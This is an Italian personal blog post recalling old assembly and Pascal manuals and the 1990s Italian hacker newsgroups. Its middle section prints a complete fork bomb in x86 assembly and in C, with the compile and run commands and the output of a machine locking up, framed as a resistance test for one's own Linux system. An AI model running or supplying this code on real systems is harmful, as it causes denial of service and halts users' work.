Blog di Exodus1984

Tecnologia, informatica, natura, e l'intero universo.... :-)

 

AREA PERSONALE

 

ARCHIVIO MESSAGGI

 
 << Maggio 2015 >> 
 
LuMaMeGiVeSaDo
 
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
 
 

FACEBOOK

 
 
Citazioni nei Blog Amici: 3
 

Messaggi di Maggio 2015

Libri e Internet: i ricordi della rete.

Post n°130 pubblicato il 16 Maggio 2015 da exodus1984

Bene, terminati i corsi sulle reti anonime, ed avendo soddisfatto
la curiosità di molte persone interessate all'argomento, ho preso
un po di tempo per risistemare la seconda parte della mia biblioteca
visto che da parecchie settimane sono stato "assediato" da diversi
tipi di smanettoni abbastanza strani...;-)))(non che io sia molto
diverso da loro...;-)))

Dopo avere digerito una buona quantità di polvere e acari (in
informatica si chiamerebbero Hacheri...), ho ritrovato alcuni
manuali di programmazione su cui ci passavo intere nottate, ecco
alcuni titoli in mio possesso:

La programmazione dello Z80, contenenti le tabelle di equivalenza
tra l'assembler dello Z80 e quello dell'8080, con le tabelle
complete dei codici delle istruzioni per lo Z80, devo dire che
questo testo mi ha aperto molte strade, in quanto già all'epoca si
usavano reti particolari e programmi costruiti appositamente per
connettersi attraverso onde radio e dispositivi auto costruiti per
formare una piccola rete locale di computer, erano i tempi dello
Spectrum, e programmare gabole era il divertimento principale per
i pochi fortunati che potevano spendere quei soldi per comprarselo.

Il Bugbook 3, per l'interfacciamento e la programmazione dei
microcomputer 8080, che spiegava nei dettagli le istruzioni
mnemoniche dell'assembler usato per l'8080.

La programmazione in Turbo Pascal, del 1989, che mi ha aperto le
porte dei linguaggi ad alto livello, mi ricordo che spesso i miei
listati sorgenti scritti in Pascal, erano quasi sempre farciti
di istruzioni assembler, quindi il codice finito era un po criptico
per chi avesse voluto dare un'occhiata, infatti, la domanda che
mi si faceva spesso era questa:"ma tu scrivi i programmi in Pascal
o in assembler?", in realtà, si usava l'assembler per velocizzare
un po di più l'esecuzione del codice, ma alla fine, andava bene
tutto, l'importante era programmare e poi mostrare il proprio
codice agli amici informatici per farli schiattare d'invidia...
 ;-)))     

Mi sono capitati in mano i manuali Olivetti per la programmazione
assembler dell' 8086, due volumi rilegati e straordinariamente
completi, con esempi di codice assembler pronto solo da programmare
e provare, due volumi che hanno segnato la storia dell'informatica
italiana per il controllo dell' hardware, i computer Olivetti sono
stati le mie primissime macchine dopo lo Spectrum Sinclair, seguiti
poi negli anni da tutta la serie(infinita) dei processori che
uscivano, sempre più veloci e potenti... :-)

Poi è stato il turno del Linguaggio assembly avanzato, per utenti
Tasm e Masm, adatto per imparare la creazione dei driver su
sistemi 8086, questo volume insegnava molti trucchi in assembler
proprio per velocizzare l'esecuzione di programmi ad alto livello
come il Pascal, e io ci sguazzavo dentro, scrivendo codice
Pas/C/Asm a quattro mani...;-)))

Questo volume, trattava la struttura TSR dei programmi in modo
molto approfondito, dalla cattura degli interrupt di tastiera
all'esecuzione specifica di una parte di codice speciale...;-))
Se vi siete mai chiesti come funziona un virus informatico, su
questo volume potete trovare le vostre risposte...(ma lasciate
ogni speranza, voi che entrate in questo mondo....)  ;-))

La programmer's guide, per utenti Masm, si rivolgeva agli utenti
del sistema MS-DOS(r) e Windows(tm), la mia parte preferita:
"Terminate-and-Stay-Resident", la funzione 31h del DOS era uno
dei servizi invocati dall'interrupt 21h, in quanto per le future
versioni, la Microsoft non poteva garantire il supporto per
l'interrupt 27h, e quindi non se ne raccomandava l'uso.

Infine ho ritrovato uno splendido libro, l'ho cercato per così
tanto tempo, che non sapevo più dove lo avevo messo, le mie
ricerche su internet hanno avuto un esito positivo nella ricerca
informativa che riguarda questo testo, ho così scoperto la sua
vera provenienza, visto che fu un regalo di un amico, anche se
non ho mai potuto avere a mia disposizione quella specifica
macchina.
 
Il volume in questione porta il titolo:

"Minicomputer Systems: Organization and Programming (PDP-11)"

Fanno fede poi il numero di serie del volume e la data, anche se
a me fu regalato nella seconda metà degli anni 80, ormai obsoleto
ma comunque molto interessante, questo testo tratta la programmazione
del PDP-11 proprio con il suo assemblatore, il PAL-11(Program
Assembly Language for the PDP-11's Absolute Assembly).

Stampato negli Stati Uniti nel 1975, arrivato in Italia nel 1977
e finito nelle mie mani nel 1989, questo testo si è conservato
molto bene, anche perché cerco sempre di mantenere i miei libri
in modo adeguato, ma a volte, sembra impossibile, ma i libri più
nuovi si rovinano prima di quelli antichi... :-)

Usare lo stesso ambiente di programmazione su diverse architetture
può facilitare la stesura di un programma, ogni versione ha molto
in comune con le altre presenti su elaboratori diversi, come i
file .OBJ, le direttive assembler e la sintassi, ma spesso, tanti
assemblatori non parlano la stessa lingua...:-(
Per esempio, sorgenti assembler che compilano bene su una determinata
architettura, non possono essere assemblati da un programma diverso
presente sulla stessa macchina...:-(

Portiamo un semplice esempio, vista la mia mania di stressare le
macchine con cui vengo a contatto e per effettuare test di
resistenza dei sistemi agli assalti informatici, vi propongo
un banale codice assembler spippolato:

 .text
       .global  _start
_start:
       movb     $0x2,%al
       int      $0x80
       loop      _start


Questo banale codice, sfrutta una delle operazioni fondamentali
dei sistemi Unix, ovvero la Fork, quando un processo Unix fa una
fork, crea una copia di se stesso, ottenendo così due copie
identiche, la seconda copia, finisce per eseguire un altro processo
in loop sul sistema attaccato, creando quello che può essere
definito un D0S(Denial of Service) in grado di paralizzare le
macchine interessate, e di conseguenza fermare di fatto il
lavoro degli utenti.

Questo codice Assembler può essere compilato e linkato su
sistemi Gnu/Linux con i seguenti comandi da terminale:

enrico@exodus84:~$ as fb.asm -o fb
enrico@exodus84:~$ ld fb -o fb

enrico@exodus84:~$ ls -la fb*
-rwxr-xr-x 1 enrico enrico 4864 mag 16 09:29 fb
-rw-r--r-- 1 enrico enrico   89 mag 13 19:52 fb.asm

 

Ma andiamo per ordine, modifichiamo il seguente programma per
testare la resistenza del nostro sistema Linux, questa volta un
pochino migliorato in linguaggio C :

 #include <unistd.h>
  int main(void)
 {
   while(300000000) {
     fork();
      }
   return 0;
 }

Il programma si compila in questo modo per ottenere un binario
portatile che ci permetterà di testare la resistenza di diverse
installazioni Linux:

enrico@exodus84:~$ gcc --static fb.c -o fbc

Il programma che otteniamo, cercherà di ottenere il controllo
dei processi sul vostro sistema Linux, che se non opportunamente
preparato, rallenterà fino a diventare inutilizzabile, rendendo
necessario il reboot della macchina.

Per eseguirlo e testare la resistenza del sistema bisogna far
partire il programma in questo modo:

enrico@exodus84:~$ ./fbc &

Per terminare l'esecuzione, se siete fortunati, basta chiudere
la finestra di terminale per cancellare tutte le istanze aperte.
Vi consiglio di tenere aperti almeno 3 o 4 terminali, questo per
impedire che il programma prenda possesso  dei relativi processi
e quindi non vi permetta di eseguire piu nessuna operazione. :-)

enrico@exodus84:~$ ./fbc &
[1] 25412
enrico@exodus84:~$ ls
-bash: fork: retry: Risorsa temporaneamente non disponibile
-bash: fork: retry: Risorsa temporaneamente non disponibile
-bash: fork: retry: Risorsa temporaneamente non disponibile


Potete notare la differenza tra sorgenti ASM e C, nonchè dei file
eseguibili creati dal linker:

enrico@exodus84:~$ ls -la fb*
-rwxr-xr-x 1 enrico enrico   4864 mag 16 09:29 fb
-rw-r--r-- 1 enrico enrico     89 mag 13 19:52 fb.asm
-rwxr-xr-x 1 enrico enrico 789208 mag 16 09:48 fbc
-rw------- 1 enrico enrico    379 mag 10 14:22 fb.c

Come potete vedere, il secondo programma è molto più performante
del primo, quindi se i vostri sistemi Linux riescono a sopravvivere
a questo, siete fortunati, ma nella mia esperienza, usando semplici
test, si capisce subito se una installazione può reggere o meno
ad uno stress informatico di questo tipo.

Ne ho parlato in questo post, proprio perché tante persone pensano
che usare sistemi Linux sia una svolta nella sicurezza informatica
ma come potete vedere, non è come si crede, alcuni sistemi si
piantano in pochi secondi, altri reggono ma rallentano, bisogna
valutare ogni macchina, tutte diverse le une dalle altre. :-)

Riprendendo in mano i miei vecchi testi informatici, ho pensato
di riproporre anche del codice che ho preso in rete per motivi
di tempo e proporvelo con semplici modifiche in ricordo dei vecchi
tempi. :-)
Il codice usato per questo post potete trovarlo a questo indirizzo
web, le modifiche sono opera mia, ma voi seguite il codice riportato
su wikipedia: http://it.wikipedia.org/wiki/Fork_bomb .

Infine, potete ottenere ulteriori info usando i manuali AMD che
trovate al seguente indirizzo web:

http://search.amd.com/it-it/Pages/results-support.aspx#k=assembler#s=11

Per i sistemi Android, consiglio di scaricare le seguenti app
dallo store: Learn Assembly e Assembly Reference & Programs .

Tutti questi libri mi hanno fatto ricordare i tempi in cui si
postava sui newsgroup, tra i miei preferiti, c'erano quasi sempre
alt.hackers.cough.cough.cough, e alt.hackers, in cui si confrontavano
idee diverse ed innovative per l'epoca, era il tempo in cui i
vari gruppi Hacker di quel periodo assaltavano sistemi, per poi
descrivere le tecniche usate, ho molti ricordi di quel periodo che
fu davvero unico(1997-2000), per citarne un esempio, chi non si
ricorda degli Spippolatori?
Ci fu un periodo in cui molti ragazzi che allora postavano su
alt.hackers.cough.cough.cough(ahccc) e alt.hackers erano molto
interessati a "portare" le mitiche alette degli -=[SpP]=- in giro
per la rete, ma molti formarono dei propri gruppi separati, sempre
ispirati alla filosofia dello "Spippolamento" ;-))

Nei miei post la parola "Spippolare" ricorre molto spesso, è una
eredità lasciata da quel particolare periodo storico che mi vide
protagonista agli albori della rete internet in italia.
Ancora oggi ripenso spesso a tutte le gabole costruite e mandate
in rete per la felicità degli smanettoni italiani, ci si ripensa
con un po di nostalgia, ma in fondo, chi potrebbe negare che ci
siamo anche divertiti? ;-)))

Ora tutto questo non esiste piu, ma ricordare questi eventi ci
aiuta a vivere un futuro migliore, evitando di inciampare negli
errori commessi in un passato ormai lontano che forse pochi
ricordano ancora.

Bene, concludendo questo post, come sempre vi auguro una buona
navigazione su internet e altrettanti buoni Spippolamenti
informatici ;-)   

 
 
 
 
 

INFO


Un blog di: exodus1984
Data di creazione: 06/03/2012
 

CERCA IN QUESTO BLOG

  Trova
 

ULTIME VISITE AL BLOG

exodus1984Udine_accommodationgiangi194624Santina3mizardellorsarocco250maya2009Sensivillatonibaretta0cromosomoColuiCheVaPhon31rpb.rettificadanypellDukewofl
 

CHI PUÒ SCRIVERE SUL BLOG

Solo l'autore può pubblicare messaggi in questo Blog e tutti gli utenti registrati possono pubblicare commenti.
 
RSS (Really simple syndication) Feed Atom
 
 
 

© Italiaonline S.p.A. 2024Direzione e coordinamento di Libero Acquisition S.á r.l.P. IVA 03970540963